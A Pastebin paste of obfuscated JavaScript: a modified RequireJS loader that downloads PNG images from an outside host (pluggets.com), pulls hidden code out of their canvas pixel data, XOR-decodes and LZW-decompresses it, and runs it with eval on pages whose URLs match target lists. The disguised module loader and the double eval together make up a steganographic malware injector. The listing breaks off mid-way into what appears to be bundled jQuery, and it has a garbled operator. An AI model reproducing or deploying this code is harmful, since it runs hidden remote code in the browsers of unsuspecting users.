Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var v0 = 'body',
- p1 = "number",
- d0 = "undefined",
- B0 = true,
- C1 = 'undefined',
- A0 = null,
- o1 = false,
- __pgVERSION = 1,
- _m = [],
- __PGTS = [],
- fb_started = o1,
- sufix = '-test',
- requirejs,
- require_,
- define_;
- function featizer(b, c) {
- var d;
- if (c) {
- var e = '',
- f = A0;
- for (d in b) {
- if (f == A0) {
- f = b[d]
- } else {
- e += String.fromCharCode(b[d] - f);
- f++
- }
- }
- } else {
- var e = new Array();
- for (d in b) {
- e.push(b[d].charCodeAt(0))
- }
- }
- return e
- }
- function loadScript() {
- var L = '/'; (function(global) {
- var S0 = 'define',
- D0 = 'data-requirecontext',
- m0 = 'data-requiremodule',
- t0 = 'defined',
- Z = 'string';
- 'use strict';
- var version = '2.0.2',
- s0 = /(\/\*([\s\S]*?)\*\/|([^:]|^)\/\/(.*)$)/mg,
- v1 = /require_\s*\(\s*["']([^'"\s]+)["']\s*\)/g,
- i1 = /\.png$/,
- D1 = /^\.\//,
- U0 = Object.prototype.toString,
- x1 = Array.prototype,
- y1 = x1.slice,
- k1 = x1.splice,
- c0 = !!(typeof window !== C1 && navigator && document),
- w1 = !c0 && typeof importScripts !== C1,
- j1 = c0 && navigator.platform === 'PLAYSTATION 3' ? /^complete$/: /^(complete|loaded)$/,
- u0 = '_',
- E0 = typeof opera !== C1 && opera.toString() === '[object Opera]',
- contexts = {},
- g0 = {},
- F0 = [],
- V0 = o1,
- H,
- O0,
- N0,
- P0,
- x0,
- src,
- z1,
- A1,
- G0,
- Q0;
- function isFunction(b) {
- return U0.call(b) === '[object Function]'
- }
- function isArray(b) {
- return U0.call(b) === '[object Array]'
- }
- function each(b, c) {
- if (b) {
- var d;
- for (d = 0; d < b.length; d += 1) {
- if (b[d] && c(b[d], d, b)) {
- break
- }
- }
- }
- }
- function W0(b, c) {
- if (b) {
- var d;
- for (d = b.length - 1; d > -1; d -= 1) {
- if (b[d] && c(b[d], d, b)) {
- break
- }
- }
- }
- }
- function h0(b, prop) {
- return b.hasOwnProperty(prop)
- }
- function N(b, c) {
- var prop;
- for (prop in b) {
- if (b.hasOwnProperty(prop)) {
- if (c(b[prop], prop)) {
- break
- }
- }
- }
- }
- function y0(target, e, f, h) {
- if (e) {
- N(e, function(value, prop) {
- if (f || !h0(target, prop)) {
- if (h && typeof value !== Z) {
- if (!target[prop]) {
- target[prop] = {}
- }
- y0(target[prop], value, f, h)
- } else {
- target[prop] = value
- }
- }
- })
- }
- return target
- }
- function bind(b, fn) {
- return function() {
- return fn.apply(b, arguments)
- }
- }
- function J0() {
- return document.getElementsByTagName('script')
- }
- function R0(value) {
- if (!value) {
- return value
- }
- var d = global;
- each(value.split('.'), function(b) {
- d = d[b]
- });
- return d
- }
- function X0(d, e, f) {
- return function() {
- var b = y1.call(arguments, 0),
- c;
- if (f && isFunction((c = b[b.length - 1]))) {
- c.__requireJsBuild = B0
- }
- b.push(e);
- return d.apply(A0, b)
- }
- }
- function l1(e, context, h) {
- each([['toUrl'], ['undef'], [t0, 'requireDefined'], ['specified', 'requireSpecified']], function(c) {
- var prop = c[1] || c[0];
- e[c[0]] = context ? X0(context[prop], h) : function() {
- var b = contexts[u0];
- return b[prop].apply(b, arguments)
- }
- })
- }
- function X(id, c, d, requireModules) {
- var f = new Error(c + ' ' + id);
- f.requireType = id;
- f.requireModules = requireModules;
- if (d) {
- f.originalError = d
- }
- return f
- }
- if (typeof define_ !== C1) {
- return
- }
- if (typeof requirejs !== C1) {
- if (isFunction(requirejs)) {
- return
- }
- g0 = requirejs;
- requirejs = undefined
- }
- if (typeof require_ !== C1 && !isFunction(require_)) {
- g0 = require_;
- require_ = undefined
- }
- function newContext(contextName) {
- var o = 'error',
- w = '_unnormalized',
- config = {
- waitSeconds: 20,
- baseUrl: './',
- paths: {},
- pkgs: {},
- shim: {}
- },
- registry = {},
- G = {},
- defQueue = [],
- defined = {},
- urlFetched = {},
- W = 1,
- Y = 1,
- J = [],
- z,
- Module,
- context,
- K,
- y;
- function a0(b) {
- var c,
- d;
- for (c = 0; b[c]; c += 1) {
- d = b[c];
- if (d === '.') {
- b.splice(c, 1);
- c -= 1
- } else if (d === '..') {
- if (c === 1 && (b[2] === '..' || b[0] === '..')) {
- break
- } else if (c > 0) {
- b.splice(c - 1, 2);
- c -= 2
- }
- }
- }
- }
- function normalize(name, c, d) {
- var e = c && c.split(L),
- map = config.map,
- h = map && map['*'],
- i,
- j,
- k,
- l,
- m,
- n,
- q,
- t;
- if (name && name.charAt(0) === '.') {
- if (c) {
- if (config.pkgs[c]) {
- e = [c]
- } else {
- e = e.slice(0, e.length - 1)
- }
- name = e.concat(name.split(L));
- a0(name);
- j = config.pkgs[(i = name[0])];
- name = name.join(L);
- if (j && name === i + L + j.main) {
- name = i
- }
- } else if (name.indexOf('./') === 0) {
- name = name.substring(2)
- }
- }
- if (d && (e || h) && map) {
- l = name.split(L);
- for (m = l.length; m > 0; m -= 1) {
- q = l.slice(0, m).join(L);
- if (e) {
- for (n = e.length; n > 0; n -= 1) {
- k = map[e.slice(0, n).join(L)];
- if (k) {
- k = k[q];
- if (k) {
- t = k;
- break
- }
- }
- }
- }
- if (!t && h && h[q]) {
- t = h[q]
- }
- if (t) {
- l.splice(0, m, t);
- name = l.join(L);
- break
- }
- }
- }
- return name
- }
- function o0(name) {
- if (c0) {
- each(J0(), function(b) {
- if (b.getAttribute(m0) === name && b.getAttribute(D0) === context.contextName) {
- b.parentNode.removeChild(b);
- return B0
- }
- })
- }
- }
- function p0(id) {
- var c = config.paths[id];
- if (c && isArray(c) && c.length > 1) {
- o0(id);
- c.shift();
- context.undef(id);
- context.require_([id]);
- return B0
- }
- }
- function makeModuleMap(name, d, e, f) {
- var index = name ? name.indexOf('!') : -1,
- prefix = A0,
- j = d ? d.name: A0,
- originalName = name,
- isDefine = B0,
- m = '',
- url,
- q,
- t;
- if (!name) {
- isDefine = o1;
- name = '_@r' + (W += 1)
- }
- if (index !== -1) {
- prefix = name.substring(0, index);
- name = name.substring(index + 1, name.length)
- }
- if (prefix) {
- prefix = normalize(prefix, j, f);
- q = defined[prefix]
- }
- if (name) {
- if (prefix) {
- if (q && q.normalize) {
- m = q.normalize(name, function(name) {
- return normalize(name, j, f)
- })
- } else {
- m = normalize(name, j, f)
- }
- } else {
- m = normalize(name, j, f);
- url = context.nameToUrl(name, A0, d)
- }
- }
- t = prefix && !q && !e ? w + (Y += 1) : '';
- return {
- prefix: prefix,
- name: m,
- parentMap: d,
- unnormalized: !!t,
- url: url,
- originalName: originalName,
- isDefine: isDefine,
- id: (prefix ? prefix + '!' + m: m) + t
- }
- }
- function P(b) {
- var id = b.id,
- d = registry[id];
- if (!d) {
- d = registry[id] = new context.Module(b)
- }
- return d
- }
- function on(b, name, fn) {
- var id = b.id,
- f = registry[id];
- if (h0(defined, id) && (!f || f.defineEmitComplete)) {
- if (name === t0) {
- fn(defined[id])
- }
- } else {
- P(b).on(name, fn)
- }
- }
- function R(d, errback) {
- var f = d.requireModules,
- h = o1;
- if (errback) {
- errback(d)
- } else {
- each(f, function(id) {
- var c = registry[id];
- if (c) {
- c.error = d;
- if (c.events.error) {
- h = B0;
- c.emit(o, d)
- }
- }
- });
- if (!h) {
- H.onError(d)
- }
- }
- }
- function r0() {
- if (F0.length) {
- k1.apply(defQueue, [defQueue.length - 1, 0].concat(F0));
- F0 = []
- }
- }
- function q0(b, c, d) {
- var e = b && b.map,
- f = X0(d || context.require, e, c);
- l1(f, context, e);
- f.isBrowser = c0;
- return f
- }
- K = {
- 'require': function(b) {
- return q0(b)
- },
- 'exports': function(b) {
- b.usingExports = B0;
- if (b.map.isDefine) {
- return (b.exports = defined[b.map.id] = {})
- }
- },
- 'module': function(b) {
- return (b.module = {
- id: b.map.id,
- uri: b.map.url,
- config: function() {
- return (config.config && config.config[b.map.id]) || {}
- },
- exports: defined[b.map.id]
- })
- }
- };
- function B1(id) {
- delete registry[id];
- each(J, function(b, c) {
- if (b.map.id === id) {
- J.splice(c, 1);
- if (!b.defined) {
- context.waitCount -= 1
- }
- return B0
- }
- })
- }
- function f1(e, f) {
- var id = e.map.id,
- i = e.depMaps,
- j;
- if (!e.inited) {
- return
- }
- if (f[id]) {
- return e
- }
- f[id] = B0;
- each(i, function(b) {
- var c = b.id,
- d = registry[c];
- if (!d) {
- return
- }
- if (!d.inited || !d.enabled) {
- j = A0;
- delete f[id];
- return B0
- }
- return (j = f1(d, y0({}, f)))
- });
- return j
- }
- function g1(f, h, i) {
- var id = f.map.id,
- k = f.depMaps;
- if (!f.inited || !f.map.isDefine) {
- return
- }
- if (h[id]) {
- return defined[id]
- }
- h[id] = f;
- each(k, function(b) {
- var c = b.id,
- d = registry[c],
- value;
- if (K[c]) {
- return
- }
- if (d) {
- if (!d.inited || !d.enabled) {
- i[id] = B0;
- return
- }
- value = g1(d, h, i);
- if (!i[c]) {
- f.defineDepById(c, value)
- }
- }
- });
- f.check(B0);
- return defined[id]
- }
- function M0(b) {
- b.check()
- }
- function e1() {
- var e = config.waitSeconds * 1000,
- f = e && (context.startTime + e) < new Date().getTime(),
- h = [],
- i = o1,
- j = B0,
- map,
- l,
- m,
- n;
- if (z) {
- return
- }
- z = B0;
- N(registry, function(b) {
- map = b.map;
- l = map.id;
- if (!b.enabled) {
- return
- }
- if (!b.error) {
- if (!b.inited && f) {
- if (p0(l)) {
- n = B0;
- i = B0
- } else {
- h.push(l);
- o0(l)
- }
- } else if (!b.inited && b.fetched && map.isDefine) {
- i = B0;
- if (!map.prefix) {
- return (j = o1)
- }
- }
- }
- });
- if (f && h.length) {
- m = X('timeout', 'Load timeout for modules: ' + h, A0, h);
- m.contextName = context.contextName;
- return R(m)
- }
- if (j) {
- each(J, function(b) {
- if (b.defined) {
- return
- }
- var c = f1(b, {}),
- d = {};
- if (c) {
- g1(c, d, {});
- N(d, M0)
- }
- });
- N(registry, M0)
- }
- if ((!f || n) && i) {
- if ((c0 || w1) && !y) {
- y = setTimeout(function() {
- y = 0;
- e1()
- }, 50)
- }
- }
- z = o1
- }
- Module = function(map) {
- this.events = G[map.id] || {};
- this.map = map;
- this.shim = config.shim[map.id];
- this.depExports = [];
- this.depMaps = [];
- this.depMatched = [];
- this.pluginMaps = {};
- this.depCount = 0
- };
- Module.prototype = {
- init: function(depMaps, factory, errback, options) {
- options = options || {};
- if (this.inited) {
- return
- }
- this.factory = factory;
- if (errback) {
- this.on(o, errback)
- } else if (this.events.error) {
- errback = bind(this, function(b) {
- this.emit(o, b)
- })
- }
- this.depMaps = depMaps && depMaps.slice(0);
- this.depMaps.rjsSkipMap = depMaps.rjsSkipMap;
- this.errback = errback;
- this.inited = B0;
- this.ignore = options.ignore;
- if (options.enabled || this.enabled) {
- this.enable()
- } else {
- this.check()
- }
- },
- defineDepById: function(id, depExports) {
- var f;
- each(this.depMaps, function(map, index) {
- if (map.id === id) {
- f = index;
- return B0
- }
- });
- return this.defineDep(f, depExports)
- },
- defineDep: function(b, depExports) {
- if (!this.depMatched[b]) {
- this.depMatched[b] = B0;
- this.depCount -= 1;
- this.depExports[b] = depExports
- }
- },
- fetch: function() {
- if (this.fetched) {
- return
- }
- this.fetched = B0;
- context.startTime = (new Date()).getTime();
- var map = this.map;
- if (this.shim) {
- q0(this, B0)(this.shim.deps || [], bind(this, function() {
- return map.prefix ? this.callPlugin() : this.load()
- }))
- } else {
- return map.prefix ? this.callPlugin() : this.load()
- }
- },
- load: function() {
- var url = this.map.url;
- if (!urlFetched[url]) {
- urlFetched[url] = B0;
- context.load(this.map.id, url)
- }
- },
- check: function(c) {
- if (!this.enabled || this.enabling) {
- return
- }
- var id = this.map.id,
- depExports = this.depExports,
- exports = this.exports,
- factory = this.factory,
- i,
- j;
- if (!this.inited) {
- this.fetch()
- } else if (this.error) {
- this.emit(o, this.error)
- } else if (!this.defining) {
- this.defining = B0;
- if (this.depCount < 1 && !this.defined) {
- if (isFunction(factory)) {
- if (this.events.error) {
- try {
- exports = context.execCb(id, factory, depExports, exports)
- } catch(b) {
- i = b
- }
- } else {
- exports = context.execCb(id, factory, depExports, exports)
- }
- if (this.map.isDefine) {
- j = this.module;
- if (j && j.exports !== undefined && j.exports !== this.exports) {
- exports = j.exports
- } else if (exports === undefined && this.usingExports) {
- exports = this.exports
- }
- }
- if (i) {
- i.requireMap = this.map;
- i.requireModules = [this.map.id];
- i.requireType = S0;
- return R((this.error = i))
- }
- } else {
- exports = factory
- }
- this.exports = exports;
- if (this.map.isDefine && !this.ignore) {
- defined[id] = exports;
- if (H.onResourceLoad) {
- H.onResourceLoad(context, this.map, this.depMaps)
- }
- }
- delete registry[id];
- this.defined = B0;
- context.waitCount -= 1;
- if (context.waitCount === 0) {
- J = []
- }
- }
- this.defining = o1;
- if (!c) {
- if (this.defined && !this.defineEmitted) {
- this.defineEmitted = B0;
- this.emit(t0, this.exports);
- this.defineEmitComplete = B0
- }
- }
- }
- },
- callPlugin: function() {
- var map = this.map,
- id = map.id,
- n = makeModuleMap(map.prefix, A0, o1, B0);
- on(n, t0, bind(this, function(e) {
- var name = this.map.name,
- h = this.map.parentMap ? this.map.parentMap.name: A0,
- load,
- j,
- k;
- if (this.map.unnormalized) {
- if (e.normalize) {
- name = e.normalize(name, function(name) {
- return normalize(name, h, B0)
- }) || ''
- }
- j = makeModuleMap(map.prefix + '!' + name, this.map.parentMap, o1, B0);
- on(j, t0, bind(this, function(value) {
- this.init([], function() {
- return value
- }, A0, {
- enabled: B0,
- ignore: B0
- })
- }));
- k = registry[j.id];
- if (k) {
- if (this.events.error) {
- k.on(o, bind(this, function(b) {
- this.emit(o, b)
- }))
- }
- k.enable()
- }
- return
- }
- load = bind(this, function(value) {
- this.init([], function() {
- return value
- }, A0, {
- enabled: B0
- })
- });
- load.error = bind(this, function(c) {
- this.inited = B0;
- this.error = c;
- c.requireModules = [id];
- N(registry, function(b) {
- if (b.map.id.indexOf(id + w) === 0) {
- B1(b.map.id)
- }
- });
- R(c)
- });
- load.fromText = function(b, text) {
- var d = V0;
- if (d) {
- V0 = o1
- }
- P(makeModuleMap(b));
- H.exec(text);
- if (d) {
- V0 = B0
- }
- context.completeLoad(b)
- };
- e.load(map.name, q0(map.parentMap, B0, function(deps, c) {
- deps.rjsSkipMap = B0;
- return context.require_(deps, c)
- }), load, config)
- }));
- context.enable(n, this);
- this.pluginMaps[n.id] = n
- },
- enable: function() {
- this.enabled = B0;
- if (!this.waitPushed) {
- J.push(this);
- context.waitCount += 1;
- this.waitPushed = B0
- }
- this.enabling = B0;
- each(this.depMaps, bind(this, function(c, d) {
- var id,
- f,
- handler;
- if (typeof c === Z) {
- c = makeModuleMap(c, (this.map.isDefine ? this.map: this.map.parentMap), o1, !this.depMaps.rjsSkipMap);
- this.depMaps[d] = c;
- handler = K[c.id];
- if (handler) {
- this.depExports[d] = handler(this);
- return
- }
- this.depCount += 1;
- on(c, t0, bind(this, function(depExports) {
- this.defineDep(d, depExports);
- this.check()
- }));
- if (this.errback) {
- on(c, o, this.errback)
- }
- }
- id = c.id;
- f = registry[id];
- if (!K[id] && f && !f.enabled) {
- context.enable(c, this)
- }
- }));
- N(this.pluginMaps, bind(this, function(b) {
- var c = registry[b.id];
- if (c && !c.enabled) {
- context.enable(b, this)
- }
- }));
- this.enabling = o1;
- this.check()
- },
- on: function(name, c) {
- var d = this.events[name];
- if (!d) {
- d = this.events[name] = []
- }
- d.push(c)
- },
- emit: function(name, d) {
- each(this.events[name], function(b) {
- b(d)
- });
- if (name === o) {
- delete this.events[name]
- }
- }
- };
- function h1(b) {
- P(makeModuleMap(b[0], A0, B0)).init(b[1], b[2])
- }
- function u1(node, c, name, e) {
- if (node.detachEvent && !E0) {
- if (e) {
- node.detachEvent(e, c)
- }
- } else {
- node.removeEventListener(name, c, o1)
- }
- }
- function F(b) {
- var node = b.currentTarget || b.srcElement;
- u1(node, context.onScriptLoad, 'load', 'onreadystatechange');
- u1(node, context.onScriptError, o);
- return {
- node: node,
- id: node && node.getAttribute(m0)
- }
- }
- return (context = {
- config: config,
- contextName: contextName,
- registry: registry,
- defined: defined,
- urlFetched: urlFetched,
- waitCount: 0,
- defQueue: defQueue,
- Module: Module,
- makeModuleMap: makeModuleMap,
- configure: function(d) {
- if (d.baseUrl) {
- if (d.baseUrl.charAt(d.baseUrl.length - 1) !== L) {
- d.baseUrl += L
- }
- }
- var pkgs = config.pkgs,
- shim = config.shim,
- paths = config.paths,
- map = config.map;
- y0(config, d, B0);
- config.paths = y0(paths, d.paths, B0);
- if (d.map) {
- config.map = y0(map || {}, d.map, B0, B0)
- }
- if (d.shim) {
- N(d.shim, function(value, id) {
- if (isArray(value)) {
- value = {
- deps: value
- }
- }
- if (value.exports && !value.exports.__buildReady) {
- value.exports = context.makeShimExports(value.exports)
- }
- shim[id] = value
- });
- config.shim = shim
- }
- if (d.packages) {
- each(d.packages, function(b) {
- var location;
- b = typeof b === Z ? {
- name: b
- }: b;
- location = b.location;
- pkgs[b.name] = {
- name: b.name,
- location: location || b.name,
- main: (b.main || 'main').replace(D1, '').replace(i1, '')
- }
- });
- config.pkgs = pkgs
- }
- N(registry, function(b, id) {
- b.map = makeModuleMap(id)
- });
- if (d.deps || d.callback) {
- context.require_(d.deps || [], d.callback)
- }
- },
- makeShimExports: function(exports) {
- var c;
- if (typeof exports === Z) {
- c = function() {
- return R0(exports)
- };
- c.exports = exports;
- return c
- } else {
- return function() {
- return exports.apply(global, arguments)
- }
- }
- },
- requireDefined: function(id, c) {
- return h0(defined, makeModuleMap(id, c, o1, B0).id)
- },
- requireSpecified: function(id, c) {
- id = makeModuleMap(id, c, o1, B0).id;
- return h0(defined, id) || h0(registry, id)
- },
- require_: function(deps, callback, errback, e) {
- var f,
- id,
- map,
- j,
- k;
- if (typeof deps === Z) {
- if (isFunction(callback)) {
- return R(X('requireargs', 'Invalid require call'), errback)
- }
- if (H.get) {
- return H.get(context, deps, callback)
- }
- f = deps;
- e = callback;
- map = makeModuleMap(f, e, o1, B0);
- id = map.id;
- if (!h0(defined, id)) {
- return R(X('notloaded', 'Module name "' + id + '" has not been loaded yet for context: ' + contextName))
- }
- return defined[id]
- }
- if (errback && !isFunction(errback)) {
- e = errback;
- errback = undefined
- }
- if (callback && !isFunction(callback)) {
- e = callback;
- callback = undefined
- }
- r0();
- while (defQueue.length) {
- k = defQueue.shift();
- if (k[0] === A0) {
- return R(X('mismatch', 'Mismatched anonymous define() module: ' + k[k.length - 1]))
- } else {
- h1(k)
- }
- }
- j = P(makeModuleMap(A0, e));
- j.init(deps, callback, errback, {
- enabled: B0
- });
- e1();
- return context.require_
- },
- undef: function(id) {
- var map = makeModuleMap(id, A0, B0),
- d = registry[id];
- delete defined[id];
- delete urlFetched[map.url];
- delete G[id];
- if (d) {
- if (d.events.defined) {
- G[id] = d.events
- }
- B1(id)
- }
- },
- enable: function(b, parent) {
- var d = registry[b.id];
- if (d) {
- P(b).enable()
- }
- },
- completeLoad: function(b) {
- var shim = config.shim[b] || {},
- d = shim.exports && shim.exports.exports,
- e,
- f,
- h;
- r0();
- while (defQueue.length) {
- f = defQueue.shift();
- if (f[0] === A0) {
- f[0] = b;
- if (e) {
- break
- }
- e = B0
- } else if (f[0] === b) {
- e = B0
- }
- h1(f)
- }
- h = registry[b];
- if (!e && !defined[b] && h && !h.inited) {
- if (config.enforceDefine && (!d || !R0(d))) {
- if (p0(b)) {
- return
- } else {
- return R(X('nodefine', 'No define call for ' + b, A0, [b]))
- }
- } else {
- h1([b, (shim.deps || []), shim.exports])
- }
- }
- e1()
- },
- toUrl: function(b, c) {
- var index = b.lastIndexOf('.'),
- e = A0;
- if (index !== -1) {
- e = b.substring(index, b.length);
- b = b.substring(0, index)
- }
- return context.nameToUrl(b, e, c)
- },
- nameToUrl: function(b, c, d) {
- var paths,
- pkgs,
- h,
- i,
- j,
- k,
- l,
- url,
- n;
- b = normalize(b, d && d.id, B0);
- if (H.jsExtRegExp.test(b)) {
- url = b + (c || '')
- } else {
- paths = config.paths;
- pkgs = config.pkgs;
- j = b.split(L);
- for (k = j.length; k > 0; k -= 1) {
- l = j.slice(0, k).join(L);
- h = pkgs[l];
- n = paths[l];
- if (n) {
- if (isArray(n)) {
- n = n[0]
- }
- j.splice(0, k, n);
- break
- } else if (h) {
- if (b === h.name) {
- i = h.location + L + h.main
- } else {
- i = h.location
- }
- j.splice(0, k, i);
- break
- }
- }
- url = j.join(L) + (c || '.png');
- url = config.baseUrl + url
- }
- return config.urlArgs ? url + ((url.indexOf('?') === -1 ? '?': '&') + config.urlArgs) : url
- },
- load: function(id, url) {
- H.load(context, id, url)
- },
- execCb: function(name, callback, d, exports) {
- return callback.apply(exports, d)
- },
- onScriptLoad: function(b) {
- if (b.type === 'load' || (j1.test((b.currentTarget || b.srcElement).readyState))) {
- z1 = A0;
- var data = F(b);
- context.completeLoad(data.id)
- }
- },
- onScriptError: function(b) {
- var data = F(b);
- if (!p0(data.id)) {
- return R(X('scripterror', 'Script error', b, [data.id]))
- }
- }
- })
- }
- var j0 = 'p.png';
- H = requirejs = function(deps, callback, errback, e) {
- var contextName = u0,
- context,
- config;
- if (!isArray(deps) && typeof deps !== Z) {
- config = deps;
- if (isArray(callback)) {
- deps = callback;
- callback = errback;
- errback = e
- } else {
- deps = []
- }
- }
- if (config && config.context) {
- contextName = config.context
- }
- context = contexts[contextName];
- if (!context) {
- context = contexts[contextName] = H.s.newContext(contextName)
- }
- if (config) {
- context.configure(config)
- }
- return context.require_(deps, callback, errback)
- };
- var U = 'dnfa';
- H.config = function(config) {
- return H(config)
- };
- if (!require_) {
- require_ = H
- }
- H.version = version;
- H.jsExtRegExp = /^\/|:|\?|\.js$/;
- H.isBrowser = c0;
- O0 = H.s = {
- contexts: contexts,
- newContext: newContext
- };
- H({});
- var e0 = 'om/png' + sufix + L;
- l1(H);
- if (c0) {
- N0 = O0.head = document.getElementsByTagName('head')[0];
- P0 = document.getElementsByTagName('base')[0];
- if (P0) {
- N0 = O0.head = P0.parentNode
- }
- }
- H.onError = function(b) {
- throw b
- };
- var z0 = 'tps';
- H.load = function(context, p, url) {
- var config = (context && context.config) || {},
- node;
- if (c0) {
- var A = new Image();
- A.crossOrigin = '';
- A.setAttribute(D0, context.contextName);
- A.setAttribute(m0, p);
- A.onload = function(event) {
- var c = 'modules_general',
- d = 'nhorror',
- e = document.createElement("canvas"),
- f = e.getContext("2d"),
- h = A.width,
- i = A.height;
- e.width = h;
- e.style.width = h;
- e.height = i;
- e.style.height = i;
- f.drawImage(A, 0, 0);
- var j = f.getImageData(0, 0, h, i).data,
- k = 's'.charCodeAt(0),
- l,
- m = String.fromCharCode(k - 40),
- k = [];
- for (var n = 0; n < j.length; n += 4) {
- if (j[n] > 0)
- k.push(j[n])
- }
- j = k;
- var k = "";
- for (var n = 0; n < j.length; n++) {
- if (j[n]) {
- k += String.fromCharCode(j[n])
- }
- }
- if (k.indexOf(d) !== -1 || k.indexOf(S0) !== -1 || k.indexOf(c) !== -1) {
- r = k;
- if (k.indexOf(d) !== -1) {
- r = r.substr(10)
- }
- } else {
- m = m + (![] + [])[ + !+[]] + 'sHU.E';
- var q = [];
- for (n = 0; n < 9; n++) {
- q[n] = Z0(m[n]) & 0x1F;
- if (n && !(n % 5)) {
- q[4] = 97 & 0x1F;
- q[n] = 90 & 0x1F;
- m += 93 & 0xFF
- }
- }
- var t = 0,
- r = '';
- for (n = 0; n < k.length; n++) {
- var o = Z0(k[n]);
- r += o & 0xE0 ? a1(o^q[t]) : a1(o);
- t++;
- t = t == 9 ? 0: t
- }
- }
- if (k.indexOf('ncompre') === -1) {
- r = pressJs_.decompress(r)
- }
- if (r.indexOf('ncompre') !== -1 || r.indexOf(d) !== -1 || r.indexOf(S0) !== -1 || r.indexOf(c) !== -1) {
- eval(r)
- } else if (B0) {
- eval(eval(r))
- }
- context.onScriptLoad(event)
- };
- A.onerror = function() {
- context.onScriptError(event)
- };
- A.src = url;
- return A
- } else if (w1) {
- importScripts(url);
- context.completeLoad(p)
- }
- };
- if (c0) {
- W0(J0(), function(script) {
- if (!N0) {
- N0 = script.parentNode
- }
- x0 = 'http://www.pluggets.com/png-test/app.png';
- if (x0) {
- src = x0.split(L);
- G0 = src.pop();
- Q0 = src.length ? src.join(L) + L: './';
- if (!g0.baseUrl) {
- g0.baseUrl = Q0
- }
- x0 = G0.replace(i1, '');
- g0.deps = g0.deps ? g0.deps.concat(x0) : [x0];
- return B0
- }
- })
- }
- define_ = function(name, deps, callback) {
- var node,
- context;
- if (typeof name !== Z) {
- callback = deps;
- deps = name;
- name = A0
- }
- if (!isArray(deps)) {
- callback = deps;
- deps = []
- }
- if (!deps.length && isFunction(callback)) {
- if (callback.length) {
- callback.toString().replace(s0, '').replace(v1, function(match, c) {
- deps.push(c)
- });
- deps = (callback.length === 1 ? ['require'] : ['require', 'exports', 'module']).concat(deps)
- }
- } (context ? context.defQueue: F0).push([name, deps, callback])
- };
- define_.amd = {
- jQuery: B0
- };
- H.exec = function(text) {
- return eval(text)
- };
- H(g0)
- } (this));
- function Z0(b) {
- var c = b + '',
- d = c.charCodeAt(0);
- if (0xD800 <= d && d <= 0xDBFF) {
- var e = d;
- if (c.length === 1) {
- return d
- }
- var f = c.charCodeAt(1);
- return ((e - 0xD800) * 0x400) + (f - 0xDC00) + 0x10000
- }
- if (0xDC00 <= d && d <= 0xDFFF) {
- return d
- }
- return d
- }
- function a1(b) {
- if (b > 0xFFFF) {
- b -= 0x10000;
- return String.fromCharCode(0xD800 + (b >> 10), 0xDC00 + (b & 0x3FF))
- }
- return String.fromCharCode(b)
- }
- var Y0 = {
- toNumber: function(b) {
- b = b.replace(/~/g, '\\');
- for (var c = b.length, d = 0; c--;) {
- d += Math.pow(85, c) * (b.charCodeAt(c) - 35)
- }
- return d
- },
- toArray: function(b) {
- var c,
- d = [],
- e = b.length,
- f,
- h = '';
- for (c = 0; c < e; c++) {
- h += (f = b.charAt(c));
- if (f != ' ' && h.length < 5)
- continue;
- this.decodeChunk(h, d);
- h = ''
- }
- if (h)
- this.decodeChunk(h, d);
- return d
- },
- decodeChunk: function(b, c) {
- for (var d = this.toNumber(b.trim()), e = 4; e--;) {
- c.push(d % 256);
- if (!d)
- break;
- d = Math.floor(d / 256)
- }
- }
- };
- function k0(b) {
- var c = b.split('!');
- this.bitcount = Y0.toNumber(c[0]);
- this.bytestream = Y0.toArray(c[1]);
- this.offset = 0
- }
- k0.prototype = {
- ReadBit: function() {
- var b = this.bytestream[this.offset >>> 3] >> (this.offset & 7);
- this.offset++;
- return b & 1
- },
- Read: function(numBits) {
- if ((this.offset + numBits) > this.bitcount)
- return A0;
- for (var c = 0, d = 0; c < numBits;++c) {
- d | =this.ReadBit() << c
- }
- return d
- }
- };
- function S() {
- this.revhashtable = [];
- this.nextcode = 0;
- this.numBits = 9;
- for (var b = 0; b < 256;++b) {
- this.revhashtable[this.nextcode++] = String.fromCharCode(b)
- }
- }
- S.prototype = {
- Size: function() {
- return this.nextcode
- },
- Insert: function(b) {
- this.revhashtable[this.nextcode++] = b;
- this.numBits = Math.ceil(Math.log(this.nextcode + 2) / Math.LN2);
- return this.numBits
- },
- LookupIndex: function(b) {
- return this.revhashtable[b]
- },
- ValSizeInBits: function() {
- return this.numBits
- }
- };
- pressJs_ = {};
- pressJs_.decompress = function(b) {
- var c = new k0(b),
- d = new S(),
- numBits = d.ValSizeInBits(),
- f = c.Read(numBits),
- h = String.fromCharCode(f),
- i = h,
- j = '';
- while ((f = c.Read(numBits)) != A0) {
- if (f < d.Size()) {
- j = d.LookupIndex(f)
- } else {
- j = i + i.charAt(0)
- }
- h += j;
- numBits = d.Insert(i + j.charAt(0));
- i = j
- }
- return h
- };
- load_modules = function(c) {
- requirejs.config({
- baseUrl: 'http://www.pluggets.com/png' + sufix + L,
- paths: {}
- });
- var d = window.location.href,
- e = [],
- f = [],
- h = o1;
- for (var i = 0; i < c.length; i++) {
- var j = o1;
- for (var k = 0; k < c[i].urls.length; k++) {
- if (j == o1 && d.indexOf(c[i].urls[k]) != -1) {
- var l = B0;
- for (var k = 0; k < c[i].nurls.length; k++) {
- if (d.indexOf(c[i].nurls[k]) != -1) {
- l = o1
- }
- }
- if (h = l) {
- for (var m = 0; m < c[i].modules.length; m++) {
- e.push('modules/' + c[i].modules[m]);
- f.push(c[i].modules[m])
- }
- j = B0
- }
- }
- }
- }
- if (h) {
- document.addEventListener('DOMNodeInserted', pgInsertedNodeHandler, o1)
- }
- requirejs(e, function() {
- for (var b = 0; b < f.length; b++) {
- if (f[b] != "require_") {
- _m[f[b]] = require_(e[b]);
- if (typeof _m[f[b]] != d0) {
- _m[f[b]].init()
- }
- }
- }
- })
- }
- } (function(F, v) {
- var S0 = "static",
- D0 = "fxshow",
- m0 = "toggle",
- t0 = ":hidden",
- Z = "hide",
- T0 = "olddisplay",
- s0 = "show",
- v1 = "marginLeft",
- i1 = "marginTop",
- D1 = "inline-block",
- U0 = "opacity",
- x1 = "replaceWith",
- y1 = "nextSibling",
- k1 = "previousSibling",
- c0 = "parentNode",
- w1 = "\\.(?:.*\\.)?",
- j1 = "auto",
- u0 = "height",
- E0 = "button",
- n0 = "get",
- g0 = "value",
- F0 = ".run",
- V0 = "inprogress",
- H = "fx",
- O0 = "events",
- N0 = "relative",
- P0 = "fixed",
- x0 = "inline",
- w0 = "hidden",
- z1 = "checked",
- A1 = "type",
- G0 = "on",
- Q0 = "href",
- i0 = "className",
- H0 = "parsererror",
- O = "function",
- W0 = "once memory",
- h0 = "boolean",
- N = ".",
- y0 = "body",
- b0 = "false",
